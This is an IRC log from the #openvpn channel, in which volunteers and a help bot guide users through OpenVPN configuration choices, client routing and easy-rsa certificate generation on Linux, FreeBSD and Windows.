00:31 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 256 seconds]
00:31 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
00:35 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
00:38 -!- Willis [Willis@173.234.237.131] has joined #openvpn
00:40 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 240 seconds]
00:40 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
00:44 -!- Thrae [~ircuser@unaffiliated/thrae] has left #openvpn ["Leaving"]
00:46 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
00:47 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
00:47 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
00:47 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
00:47 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
00:54 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
00:56 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
00:57 -!- speed_racer84 [~speed_rac@h36.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
01:02 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
01:04 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
01:04 -!- mode/#openvpn [+o mattock_afk] by ChanServ
01:04 -!- mattock_afk is now known as mattock
01:07 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
01:15 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
01:15 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
01:16 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Read error: Connection reset by peer]
01:16 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
01:22 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 264 seconds]
01:23 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
01:24 -!- Willis [~Willis@173.234.237.131] has joined #openvpn
01:26 < Ghormoon________> I'm starting to hate ddwrt :D
01:28 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:28 -!- Willis [~Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
01:31 -!- Willis [Willis@173.234.237.131] has joined #openvpn
01:41 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 260 seconds]
01:42 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
01:48 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
01:54 -!- mattock is now known as mattock_afk
02:03 -!- mattock_afk is now known as mattock
02:05 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
02:09 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:09 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
02:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:12 -!- speed_racer84 [~speed_rac@h36.164.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
02:14 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 245 seconds]
02:16 -!- mattock is now known as mattock_afk
02:16 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
02:22 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
02:23 < atmosx> Hello, can you help me out making some decision on my OpenVPN setup?
02:23 < Dar1us> ask, don't ask to ask
02:24 < atmosx> I'm not sure about what to use tun or tap and udp or tcp. I'd like to create 1 OpenVPN server, serving clients that talk to each other. I don't care about the networks behind them. I will need to connect to those clients via ssh/http only. No DHCP push is required.
02:24 < Dar1us> I suspect everyone would say "use tun"
02:24 < atmosx> okay, say I use tun
02:25 < atmosx> udp or tcp?
02:25 < atmosx> I need the clients to have predetermined ips
02:25 < Dar1us> udp unless you have to use tcp
02:25 < atmosx> so the ccd is needed
02:25 < atmosx> and in which scenario I would *have* to use tcp?
02:25 < Aketzu> bad firewalls
02:25 < Dar1us> ^^
02:25 < atmosx> is pf a bad firewall?
02:25 < Dar1us> not if you control it
02:26 < Dar1us> TCP can be useful because you can use it over a https proxy
02:26 < Dar1us> so even really horrible networks with anal retentive systadmins usually let it through
02:26 < atmosx> I don't need https proxy
02:26 < Dar1us> then use UDP
02:26 < atmosx> I see
02:26 < atmosx> okay so it's tun and udp
02:26 < atmosx> on FreeBSD do I have to tell the server to use *tun* somehow
02:27 < Dar1us> yes, but that isn't a FreeBSD thing
02:27 < atmosx> because the only device/module I see is TUN?TAP but it's called tap
02:27 < atmosx> I see a tap0 device
02:27 < Dar1us> you need 'dev tap'
02:27 < Dar1us> openvpn will clone it for you
02:28 -!- mattock_afk is now known as mattock
02:28 < atmosx> Dar1us: I have dev tap0
02:28 < atmosx> okay
02:28 < atmosx> so I'm all setup
02:28 < Dar1us> you want dev tap
02:28 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 246 seconds]
02:28 < atmosx> not tap0?
02:28 < Dar1us> no
02:28 < atmosx> isn't just more specific tap0?
02:28 < atmosx> okay
02:29 < Dar1us> hmm not sure TBH
02:29 < atmosx> the 'server' lines goes: server 10.4.0.0 255.255.255.0
02:29 < atmosx> that means that network 10.4.0.1/24 will be used right?
02:30 < Dar1us> yes
02:30 < Dar1us> your clients will get .2 - .254
02:30 < atmosx> okay and in order to client to connect to each other, I need client-to-client line right? and I have configured ccd/client-name also
02:32 -!- Denial [Denial@90.202.26.221] has joined #openvpn
02:32 < Dar1us> yes
02:32 < atmosx> when trying to ping 10.4.0.1 I get this: 36 bytes from bbras-llu-lsf-21l500.forthnet.gr (213.16.246.13): Communication prohibited by filter
02:32 < atmosx> Dar1us: is this the fucked admin secneario that you were talking about?
02:32 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
02:32 < Dar1us> well not necessarily
02:33 < Dar1us> but it could mean that the openvpn udp traffic will be blocked
02:33 < Dar1us> it could also mean that PMTU is blocked in which case you will experience pain
02:33 < Aketzu> more sounds like you are not even tunneling it to vpn
02:33 < Aketzu> i.e. routes are missing
02:34 < atmosx> Aketzu: do I have to put routes manually?
02:34 < Aketzu> nope
02:34 < Aketzu> (until something is messed up)
02:34 < Dar1us> that is just a ping
02:34 < Dar1us> it doesn't necessarily have any bearing on openvpn UDP packets
02:34 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
02:35 < atmosx> okay let's try a linux client which is more clear
02:36 < Dar1us> atmosx: tcpdump on both ends is your friend
02:36 < Aketzu> if it's windows then did you remember to "run as administrator" the openvpn gui?
02:36 < Dar1us> eg tcpdump -ni eth0 port 1149
02:36 < Dar1us> then oyu can see if traffic is passing
02:37 < atmosx> Aketzu: I have a mac client for openvpn, which worked fine for 1 openvpn network it started creating some issues the moment I used 2 of openvpn networks.
02:37 < atmosx> root@raspberrypi:/etc/openvpn# ping 10.4.0.1
02:37 < atmosx> PING 10.4.0.1 (10.4.0.1) 56(84) bytes of data.
02:38 < atmosx> From 213.16.246.13 icmp_seq=1 Packet filtered
02:38 < atmosx> the ISP is filtering udp
02:38 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
02:38 < atmosx> that's fom the linux box
02:38 < atmosx> the openvpn connection is established but I can't ping
02:38 < Aketzu> cannot be like that since that "Packet filtered" is icmp packet from outside tunnel and you see it inside
02:39 < Aketzu> and if isp would filter udp then the openvpn tunnel wouldn't connect at all
02:39 < atmosx> but 10.4.0.0        *               255.255.255.255 UH    0      0        0 tun0
02:39 < atmosx> it's clearly routed through tun0
02:39 < Dar1us> that's why you run tcpdump
02:39 < Dar1us> then you can see if the packets are turning up
02:39 < Aketzu> is mask really /32 ?
02:39 < atmosx> Aketzu: yes you got ta point
02:39 -!- Willis [Willis@173.234.237.131] has joined #openvpn
02:39 < atmosx> Dar1us: you mean at the server side?
02:39 < atmosx> Aketzu: hm should be /24
02:40 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 264 seconds]
02:40 < atmosx> hmm that's my server line on the server.conf: server 10.4.0.0 255.255.255.0
02:40 < Aketzu> can you pastebin openvpn logs
02:41 < Dar1us> atmosx: both sides
02:41 < Dar1us> at the same time
02:41 < Dar1us> in 2 separate xterms
02:42 < atmosx> Aketzu: server logs?
02:42 < Aketzu> both
02:43 < atmosx> Mon Jul 15 09:33:04 2013 pi_metropolis/130.43.121.173:55421 SENT CONTROL [pi_metropolis]: 'PUSH_REPLY,route-gateway 10.4.0.1,ping 10,ping-restart 120,ifconfig 10.4.0.11 10.4.0.0' (status=1)
02:43 < atmosx> that's what the server is sending
02:44 < atmosx> and the client is receving the same line
02:44 < atmosx> I'll pb em
02:44 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
02:45 < atmosx> here server/client config http://pastebin.com/VAe6r8q0
02:45 < atmosx> client can't ping the server
02:46 < Aketzu> WARNING: 'dev-type' is used inconsistently, local='dev-type tap', remote='dev-type tun'
02:46 < Aketzu> do you have dev-type tun in server config?
02:46 < atmosx> no
02:46 < atmosx> I thought... never mind
02:47 < atmosx> I looked for this option
02:47 < Aketzu> or you could only have "dev tun0"
02:47 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:48 < atmosx> Aketzu: can I do that?
02:48 < atmosx> just put dev tun0 and change my pf settings
02:48 < atmosx> that would be optimal
02:49 < Aketzu> "works for me"
02:49 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 260 seconds]
02:49 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
02:49 < Aketzu> actually "dev tun-vpn".. the name can be anything
02:51 < atmosx> okay
02:52 < atmosx> Aketzu: it's not. With "dev tun0" I can ping, if it's "dev tap0" and "dev tun-vpn" it won't work
02:52 < atmosx> thanks :-)
02:52 < atmosx> I think I got myself a proper VPN
02:52 -!- dazo_afk is now known as dazo
02:52 < Aketzu> yeah
02:52 < atmosx> Aketzu: can I have 2 different subnets in 1 openvpn server ?
02:53 < Aketzu> if you run two openvpn instances
02:53 < Aketzu> (in different ports)
02:53 < atmosx> ah no, okay I'll use different ccd's
02:53 < Aketzu> though, depending on the "subnet" definition... you can assign client ip's from single subnet but you can route multiple subnets through one connection
02:54 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 248 seconds]
02:54 < atmosx> Aketzu: I have a small network of Pi's that would like them to use 1 VPN /24
02:57 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
03:02 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 264 seconds]
03:02 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
03:03 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
03:05 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
03:05 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:10 -!- Willis [Willis@173.234.237.131] has joined #openvpn
03:21 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 264 seconds]
03:21 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
03:23 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
03:33 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Remote host closed the connection]
03:34 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Read error: Connection reset by peer]
03:35 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
03:46 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 240 seconds]
03:46 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
04:00 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
04:00 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
04:08 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 246 seconds]
04:08 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
04:24 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
04:31 < atmosx> Weird the same config works on linux but not on mac
04:32 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
04:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:55 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 256 seconds]
04:55 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
04:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:00 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
05:02 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
05:03 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
05:03 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has left #openvpn []
05:17 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
05:19 -!- takamich_ [~takamichi@141.255.164.87] has joined #openvpn
05:23 -!- defswork [~andy@141.0.50.105] has quit [Remote host closed the connection]
05:58 -!- takamich_ [~takamichi@141.255.164.87] has quit [Ping timeout: 256 seconds]
06:01 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
06:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:12 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:13 < Linmu> !welcome
06:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:17 < Linmu> !route
06:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:17 <@vpnHelper> the server or client
06:17 < Linmu> !serverlan
06:17 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
06:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
06:22 < Linmu> !clientlan
06:22 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
06:22 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
06:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:23 < Linmu> !howto
06:23 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:24 < Linmu> !man
06:24 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
06:24 < Linmu> !/30
06:24 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
06:29 < Linmu> !topology
06:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
06:30 < Linmu> !iporder
06:30 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
06:30 < Linmu> !welcome
06:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:30 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:32 < Linmu> !mitm
06:32 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
06:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
06:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:46 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Remote host closed the connection]
06:48 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
07:15 < ljvb> mornin
07:49 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
07:50 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
07:55 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
07:59 < atmosx> hi
08:00 < atmosx> I'm doing something wrong and I can not figure out what, in both configurations tun/udp tap/tcp something doesnt work right
08:06 < atmosx> can someone show me a ccd/client1 sample file syntax when using tun0/udp?
08:12 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
08:15 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
08:19 < atmosx> I figured it out
08:19 < atmosx> ouff
08:19 -!- atmosx [~me@gateway/tor-sasl/atmosx] has left #openvpn ["WeeChat 0.4.1-rc2"]
08:26 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Textual IRC Client: www.textualapp.com]
08:39 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
08:41 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
09:05 <@krzee> pekster, if you wanted to mirror those flowcharts i made they are back up
09:05 <@krzee> !ccd
09:05 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
09:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
09:29 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:36 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
09:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:42 <+pekster> krzee: Thanks
09:54 -!- kaizokujoe [~kaizoku@c-83-233-216-17.cust.bredband2.com] has joined #openvpn
09:56 < kaizokujoe> Hi, was hoping someone here could help me.
09:56 < kaizokujoe> been strugling to get OpenVPN working on my home box again.
09:58 < kaizokujoe> So I've been trying for a while now but I keep getting stuck when I am supposed to generate the CA
09:59 < kaizokujoe> Either I get an "openssl" is not recognized as an internal or external command" message or I get a plain old error message
10:00 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:00 < kaizokujoe> If I install the 64 bit versions I get the error message and when I use the 32 bit versions I get the openssl is not .. Message
10:05 < kaizokujoe> What Openssl package for windows should I use?
10:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
10:13 < kaizokujoe> Anyone?
10:20 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 256 seconds]
10:21 <@dazo> kaizokujoe: The needed openssl binary should be in the same directory as the openvpn binary .... unless the 'openssl' package was unchecked during openvpn install
10:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:37 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 276 seconds]
10:42 < midacts> is it possile to change where the ca.crt, client.crt and client.key files are stored?   Say if i wanted to store them on a USB drive that was always mapped to the F:\
10:43 < midacts> could i just put ca F:\ca.crt cert F:\client.crt key F:\client.key or something similar
10:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
10:52 <@dazo> midacts: yes, just modify the path in your config
11:04 < kaizokujoe> Okay, so I checked the openvpn/bin folder
11:04 -!- raidz_away is now known as raidz
11:04 < kaizokujoe> and there is indeed a openssl exe
11:05 < kaizokujoe> Odd, why does it say I dont have it then ?
11:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:22 -!- surfhai [~tg@pD9E20447.dip0.t-ipconnect.de] has joined #openvpn
11:23 < kaizokujoe> Has anyone here seen that before?
11:25 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
11:25 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:28 < kaizokujoe> Well, not like I haven't done it before but I've just uninstalled everything, all mentions of SSl I installed and OpenVPN
11:28 < kaizokujoe> And gonna restart.
11:30 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 267 seconds]
11:35 < kaizokujoe> Okay, think It might have been major user f-up on my part, atleast when it comes to the 64-bit version.
11:36 < kaizokujoe> SSL stuff was not checked when installing by default.
11:36 < kaizokujoe> Reinstalling now and seeing if it works then.
11:36 -!- surfhai1 [~tg@pD9E22A54.dip0.t-ipconnect.de] has joined #openvpn
11:39 -!- surfhai [~tg@pD9E20447.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
12:09 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
12:16 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has joined #openvpn
12:17 < TauNeutrino> hello
12:17 < TauNeutrino> why no https on openvpn.net?
12:20 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 276 seconds]
12:25 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
12:31 -!- fester [~fester@rhlug/fester] has joined #openvpn
12:32 < kaizokujoe> So, I've finally gotten it to work, as I realized it was user error.
12:32 < kaizokujoe> But Now I'm experiencing that my server keys are being generated with the filenames ".csr,.key"
12:33 < kaizokujoe> So blank.csr and blank.key
12:33 < kaizokujoe> Is that normal ?
12:33 < fester> can i forward routes to a client? for example, i want 10.100.100.0/24 to be routed to the client, like: server tries to access 10.100.100.2 and it goes through the client to do that
12:34 < fester> or say client 1 tries to access a subnet that client2 has access to? i want to do a sort of proxy with the server in the middle connecting two clients
12:35 < TauNeutrino> you can use iptables :)
12:36 < fester> just masquerade or what?
12:37 < TauNeutrino> i don't know much about the details, I just did some basic stuff like blocking ports. You might try man iptables
12:37 < TauNeutrino> or some other guy here may help you further :)
12:37 < TauNeutrino> or I should try man iptables lol
12:38 < fester> i know how to use iptables, but i don't know if openvpn has a facility for this with client-to-client proxying
12:38 < fester> more than that, but pushing routes to a client
12:39 < TauNeutrino> hmpf ok I know nothing about openvpn, but you can ask in #openvpn :)
12:40 < TauNeutrino> sry^^
12:40 -!- dazo is now known as dazo_afk
12:40 < kaizokujoe> I was under the impression this was #openvpn ..
12:40 < TauNeutrino> oh lol sry
12:41 < TauNeutrino> I have like 5 different windows open with irssi
12:45 < kisom> TauNeutrino: What do you mean? Openvpn.net uses HTTPS
12:45 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
12:45 < kisom> Not that it matters, the NSA probably have a root certificate key and can do MITM anyways ;)
12:46 < fester> novaflash: do you know if i can forward routes from one client to another?
12:48 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
12:48 <@novaflash> hi fester
12:48 < kaizokujoe> Okay so I'm going through the server setup and I'm not generating a server.crt ?
12:48 <@novaflash> forward routes?
12:49 <@novaflash> if you send routes to client A to pass traffic for client B to the openvpn server, then the openvpn server should be able to route packets from client A to client B
12:49 <@novaflash> has to by symmetric routing of course or else packets get lost
12:49 <@novaflash> be *
12:49 < kaizokujoe> Anyone know why I'm not generating a server.crt?
12:50 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has quit [Quit: leaving]
12:50 < kaizokujoe> I run "build-key-server server" and it generates server.csr and server.key
12:50 < fester> novaflash: thank you!
12:50 < kaizokujoe> But no server.crt
12:50 < fester> novaflash: and hi! :)
12:51 <@novaflash> kaizokujoe: you're only making a certificate signing request, you still have to have it signed. or sign it yourself.
12:51 < kaizokujoe> I'm just following the guide, I don't recall doing that last time?
12:51 <@novaflash> i dunno.. maybe try a different guide?
12:52 < kaizokujoe> http://openvpn.net/index.php/open-source/documentation/howto.html#pki
12:52 <@vpnHelper> Title: HOWTO (at openvpn.net)
12:52 < kaizokujoe> is the guide I'm following
12:52 < fester> novaflash: hmm, i was just thinking, how can i guarantee symmetric routing? can i do different pushes for different clients?
12:52 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
12:52 < fester> wait, i think that's in the default config, i'll look
12:54 < kaizokujoe> Kind of missing that to start my server so wondering where it is
12:58 < kaizokujoe> Finding a lot of guides that say I should get server.crt and server.key
12:58 < kaizokujoe> But don't see much mention of this csr file I have ..
12:58 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
13:00 < kaizokujoe> http://pastebin.com/ztA687WY
13:00 < kaizokujoe> Just checked the file that is supposed to generate it
13:00 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Read error: Connection reset by peer]
13:02 < kaizokujoe> So ran the part that is supposed to sign it
13:02 < kaizokujoe> and I get this error..
13:03 < kaizokujoe> http://pastebin.com/b91cZsyP
13:03 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 240 seconds]
13:05 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
13:05 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
13:09 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 240 seconds]
13:11 <@novaflash> try making a folder called keys
13:11 < kaizokujoe> I have it already
13:11 < kaizokujoe> I figured out what it was, I was a dumbass and removed the contents of keys by hand
13:11 < kaizokujoe> Instead of using clean-all
13:11 < kaizokujoe> Which got rid of index.txt
13:11 <@novaflash> ok :)
13:12 < kaizokujoe> So it was my own faul again :p
13:12 -!- nonuby [~nonuby@unaffiliated/nonuby] has joined #openvpn
13:12 < nonuby> mssfix size should be less than fragment size correct?
13:13 < kaizokujoe> By these powers combined, I am captain working VPN
13:13 <@novaflash> hurray
13:14 < midacts> for using auth-user-pass, is there any documentation on how to setup the verify script for linux? Id like to have my passwords stored encrypted, not in plain text
13:19 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
13:29 -!- nonuby [~nonuby@unaffiliated/nonuby] has quit [Ping timeout: 256 seconds]
13:29 -!- kaizokujoe [~kaizoku@c-83-233-216-17.cust.bredband2.com] has quit [Quit: Lost terminal]
13:36 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
13:36 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 246 seconds]
